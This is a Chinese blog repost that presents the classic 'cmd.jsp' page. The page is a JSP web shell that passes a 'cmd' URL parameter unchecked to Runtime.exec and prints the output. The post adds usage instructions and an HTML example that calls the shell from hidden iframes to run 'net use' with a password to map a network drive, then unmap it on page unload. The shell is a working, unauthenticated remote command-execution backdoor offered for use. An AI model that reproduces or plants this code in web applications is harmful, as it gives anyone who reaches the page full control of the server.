当前位置:   article > 正文

cmd.jsp 经典版

cmd.jsp
<%@ page import="java.io.*" %>
<%
try {
String cmd = request.getParameter("cmd");
Process child = Runtime.getRuntime().exec(cmd);
InputStream in = child.getInputStream();
int c;
while ((c = in.read()) != -1) {
out.print((char)c);
}
in.close();
try {
child.waitFor();
} catch (InterruptedException e) {
e.printStackTrace();
}
} catch (IOException e) {
System.err.println(e);
}
%>

用法:cmd.jsp?cmd=你要执行的命令 


例:在html中 创建映射磁盘Z

 <iframe src="../cmd.jsp?cmd=net use z: \\ ip \filename password /user:username"  style="display:none">
 </iframe> 

  //关闭页面时 关闭映射磁盘

 function onBeforeUnload(){
var str = "<iframe src='../cmd.jsp?cmd=net use z: /del /y' style='display:none'>"+"</iframe>";

  var temp=document.getElementById("close").innerHTML;

document.getElementById("close").innerHTML=temp+str;
 }

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/我家小花儿/article/detail/452879
推荐阅读
相关标签
  

闽ICP备14008679号